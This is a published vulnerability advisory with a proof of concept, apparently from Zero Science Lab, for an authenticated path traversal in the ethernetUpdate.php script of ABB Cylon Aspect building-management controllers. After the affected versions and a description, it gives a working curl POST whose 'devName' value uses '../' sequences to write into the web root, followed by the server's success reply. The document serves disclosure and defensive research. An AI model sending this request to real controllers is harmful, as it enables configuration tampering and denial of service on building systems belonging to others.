Exploit Title: ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) – Authenticated Path Traversal Vendor: ABB Ltd. Product web page: https://www.global.abb Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio …

# Exploit Title: ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) – Authenticated Path Traversal

# Vendor: ABB Ltd.

# Product web page: https://www.global.abb

# Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio

Firmware: <=3.08.02 Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their

building data through standard building protocols including smart devices.

Desc: The ABB Cylon controller suffers from an authenticated path traversal

vulnerability. This can be exploited through the ‘devName’ POST parameter in

the ethernetUpdate.php script to write partially controlled content, such as

IP address values, into arbitrary file paths, potentially leading to configuration

tampering and system compromise including denial of service scenario through

ethernet configuration backup file overwrite.

Tested on: GNU/Linux 3.15.10 (armv7l)

GNU/Linux 3.10.0 (x86_64)

GNU/Linux 2.6.32 (x86_64)

Intel(R) Atom(TM) Processor E3930 @ 1.30GHz

Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz

PHP/7.3.11

PHP/5.6.30

PHP/5.4.16

PHP/4.4.8

PHP/5.3.3

AspectFT Automation Application Server

lighttpd/1.4.32

lighttpd/1.4.18

Apache/2.2.15 (CentOS)

OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)

OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)

ErgoTech MIX Deployment Server 2.0.0

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic

@zeroscience

Advisory ID: ZSL-2024-5890

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5890.php

21.04.2024

—

$ cat project

P R O J E C T

.|

| |

|’| ._____

___ | | |. |’ .—“|

_ .-‘ ‘-. | | .–‘| || | _| |

.-‘| _.| | || ‘-__ | | | || |

|’ | |. | || | | | | || |

____| ‘-‘ ‘ “” ‘-‘ ‘-.’ ‘` |____

░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░

░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░

░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░

░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░

░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░

░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░

$ curl http://192.168.73.31/ethernetUpdate.php \

> -d “listFile=%2Fusr%2Flocal%2Faam%2Fetc%2Feth0\

> &devName=../../../../../../../home/MIX_CMIX/htmlroot/testingus\

> &useDHCP=1\

> &dhcp=YES\

> &IP1=192&IP2=168&IP3=73&IP4=31\

> &SM1=255&SM2=255&SM3=255&SM4=0\

> &N1=192&N2=168&N3=1&N4=0\

> &B1=192&B2=168&B3=1&B4=255\

> &GW1=192&GW2=168&GW3=1&GW4=254\

> &DNSA1=&DNSA2=&DNSA3=&DNSA4=\

> &DNSB1=&DNSB2=&DNSB3=&DNSB4=\

> &submitTime=Submit” \

> -H “Cookie: PHPSESSID=xxx”

Ethernet Settings

Ethernet settings have been successfully updated.
Please supply MAC address below to your Network Administrator in order to determine new IP Address.
MAC Address: